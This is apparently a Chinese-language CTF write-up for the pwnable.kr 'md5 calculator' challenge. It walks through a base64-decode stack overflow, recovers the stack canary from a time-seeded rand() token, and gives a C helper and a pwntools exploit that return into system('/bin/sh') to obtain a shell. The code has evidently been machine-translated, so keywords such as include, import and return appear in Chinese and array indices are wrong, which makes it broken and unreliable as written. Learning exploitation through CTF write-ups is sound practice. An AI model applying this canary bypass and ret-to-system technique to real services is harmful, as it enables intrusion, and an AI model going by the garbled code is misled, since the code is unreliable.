md5 caculator Writeup[pwnable.kr]

0x00 md5 caculater

下載下來直接運行,提示缺libcrypto庫,但是我卻安裝過了openssl。於是在lib下看,確實是沒有這個庫。因爲我的環境是ubuntu x86_64裝的openssl也是64位的,所以要安裝32位的庫,使用這個命令:

sudo apt-get install --reinstall libssl1.0.0:i386

安裝好後反彙編一下,程序很簡單。先生成一個隨機數token,輸入的值和隨機數token相等則再輸入一串base64編碼後的文本,將這個文本解密後用md5加密打印。

0x01 思路

程序的漏洞比較明顯,在process_hash函數這。

int  process_hash ()
{
  int v0; // ST14_4 @ 3
  void * ptr; // ST18_4 @ 3
  char v3; // [sp + 1Ch] [bp-20Ch] @ 1
  int v4; // [sp + 21Ch] [bp-Ch] @ 1
  v4 = * MK_FP(__ GS__,20);
  memset的(和v3,0,在0x200 U);
  while(getchar()!= 10)
    ;
  memset(g_buf,0,sizeof(g_buf));
  fgets(g_buf,1024,stdin);
  memset的(和v3,0,在0x200 U);
  v0 = Base64Decode(g_buf,&v3);
  ptr =(void *)calc_md5(&v3,v0);
  printf(“MD5(data):%s \ n”,ptr);
  免費(ptr);
  return * MK_FP(__ GS__,20)^ v4;
}

其中g_buf是全局變量1024字節,存放base64編碼後的文本。v3是局部變量512字節,存放解碼後的文本。

Base64是把3個字節變爲4個字節,所以,Base64編碼的長度永遠是4的倍數

所以1024字節的base64解碼後爲1024/4*3=768。而程序只分配的512字節,所以會出現緩衝區溢出。

然而,程序開啓了stack canary,需要我們繞過。

[----------------------------------寄存器-------------- ---------------------]
EAX:0x0 
EBX:0xffffd40c('a' <重複200 次 > ...)
ECX:0x0 
EDX:0xf7dcf434  - > 0x804c020  - > 0x3a9 
ESI:0x0 
EDI:0xffffd60c('a' <重複188 次 >)
EBP:0xffffd618('a' <重複176 次 >)
ESP:0xffffd3f0  - > 0x0 
EIP:0x8049074(<process_hash + 226>:mov eax,DWORD PTR [ebp-0xc])
EFLAGS:0x200282(進位奇偶校驗調整零SIGN 陷阱 INTERRUPT方向溢出)
[ -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  - -碼 -  -  -  -  - - --------------------------]
   0x8049066 <process_hash + 212>:mov eax,DWORD PTR [ebp-0x210]
   0x804906c <process_hash + 218>:mov DWORD PTR [esp],eax
   0x804906f <process_hash + 221>:調用0x8048900 <free @ plt>
=> 0x8049074 <process_hash + 226>:mov eax,DWORD PTR [ebp-0xc]
   0x8049077 <process_hash + 229>:xor eax,DWORD PTR gs:0x14
   0x804907e <process_hash + 236>:je 0x8049085 <process_hash + 243>
   0x8049080 <process_hash + 238>:調用0x8048990 <__ stack_chk_fail @ plt>
   0x8049085 <process_hash + 243>:添加esp,0x220
[------------------------------------堆------------ -------------------------]
0000 | 0xffffd3f0  - > 0x0
0004 | 0xffffd3f4  - > 0x804c028  - > 0x0
0008 | 0xffffd3f8  - > 0xf7dcfc20  - > 0xfbad2288
0012 | 0xffffd3 fc - > 0xf7c71a97(<_IO_vfscanf + 1399>:movzx ecx,BYTE PTR [ebp-0x15c])
0016 | 0xffffd400  - > 0xf7dcfc20  - > 0xfbad2288
0020 | 0xffffd404  - > 0x2be
0024 | 0xffffd408  - > 0x804c028  - > 0x0
0028 | 0xffffd40c('a' <重複200 次 > ...)
[------------------------------------------------- -----------------------------]
圖例:代碼,數據,rodata,值
0x08049074 在 process_hash()
gdb-peda $ p $ ebp -0xc
$ 1 =(void *)0xffffd60c
gdb-peda $ shell
-------------------------------------------------- ----------
〜/ pwn / pwnkr / md5_caculater»python
Python 2.7.6(默認,2016年10月26日,20:30:19) 
linux2上的[GCC 4.8.4]
輸入“幫助”,“版權”,“信用”或“許可”  以獲取更多信息。
>>> hex(0xffffd60c-0xffffd40c)
'在0x200'
>>>

可見,0x200字節就覆蓋了canary。需要繞過這個canary,首先想到了Memory Leak。但是,程序不存在格式化字符串漏洞;又想能否使用BROP,這個程序是用socat啓動的,程序掛了後肯定會rerandom,所以還是不行。

int  my_hash ()
{
  INT結果; // eax @ 4
  int v1; // edx @ 4
  簽署 INT I; // [sp + 0h] [bp-38h] @ 1
  char v3 [ 32 ]; // [sp + Ch] [bp-2Ch] @ 2
  int v4; // [sp + 10h] [bp-28h] @ 4
  int v5; // [sp + 14h] [bp-24h] @ 4
  int v6; // [sp + 18h] [bp-20h] @ 4
  int v7; // [sp + 1Ch] [bp-1Ch] @ 4
  int v8; // [sp + 20h] [bp-18h] @ 4
  int v9; // [sp + 24h] [bp-14h] @ 4
  int v10; // [sp + 28h] [bp-10h] @ 4
  int v11; // [sp + 2Ch] [bp-Ch] @ 1
  v11 = * MK_FP(__ GS__,20);
  for(i = 0 ; i <= 7 ; ++ i)
    *(_ DWORD *)&v3 [ 4 * i] = rand();
  result = v7  -  v9 + v10 + v11 + v5  -  v6 + v4 + v8;
  v1 = * MK_FP(__ GS__,20)^ v11;
  返回結果;
}

看到了這個函數,其中v11爲cancary,只要我們知道隨機數,就可以逆推出canary的值。我們找到了隨機數的種子爲time(0)就是當前系統的時間戳。

這樣就好辦了,寫一個程序來根據token算canary。因爲目標程序是用socat啓動的,所以當有程序連上目標端口就會啓動這個程序,我們得到token後傳入我們寫的程序。這時候時間戳應該是一樣的,根據這個token就可以算出canary。

#包括<stdio.h>中
int  main (int argc,char * argv [])
{
    int n [ 8 ],i;
    int token = atoi(argv [ 1 ]);
    int cookie;
    srand(時間(0));
    for(i = 0 ; i < 8 ; i ++)
    {
        N [1] = RAND();
    }
    // v [4] -v [6] + v [7] + cookie + v [2] -v [3] + v [1] + [5] =令牌
    cookie = token-n [ 5 ] -n [ 1 ] + n [ 3 ] -n [ 2 ] -n [ 7 ] + n [ 6 ] -n [ 4 ];
    printf(“%x \ n”,cookie);
    返回 0 ;
}

因爲system有了,所以我們需要一個/bin/sh的地址來完成函數調用,這個也比較好解決。因爲有一個全局變量,我們把/bin/sh放到全局變量裏即可,所以exploit如下:

來自 pwn import *
進口 OS
來自 base64 導入 b64encode
#io = process(“./ hash”)
io = remote(“127.0.0.1”,10001)
io.recvuntil(“你是人嗎?輸入驗證碼:”)
token = io.recv()
io.send(令牌)
cookie = os.popen(“./ x” + token).read()
cookie = int(cookie,16)
log.success(“Canary => [{}]”。 format(hex(cookie)))
payload = “A” * 0x200 + p32(cookie)+ “B” * 12 + p64(0x8048880)+ p64(0x804b3c0)+ “/ bin / sh \ x00”
payload = b64encode(payload)+ “/ bin / sh \ x00”
的raw_input()
io.sendline(有效載荷)
io.interactive()

結果如下:

tiny_easy @ ubuntu:/ tmp $ python xxx.py
[+]在端口9002上打開到127.0.0.1的連接:完成
[+] Canary => [0xf5905a00]
[*]切換到交互模式
歡迎!你是經過身份驗證的。
使用BASE64對數據進行編碼然後粘貼我!
MD5(數據):a703c1b84424ff5c8e2f6c5569f3151a
$ ls
旗
日誌
記錄 2
md5calculator
super.pl
$ cat flag
金絲雀,堆棧守衛,堆棧保護器..什麼是正確的表達?

0x02 Refer

http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001399413803339f4bbda5c01fc479cbea98b1387390748000

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章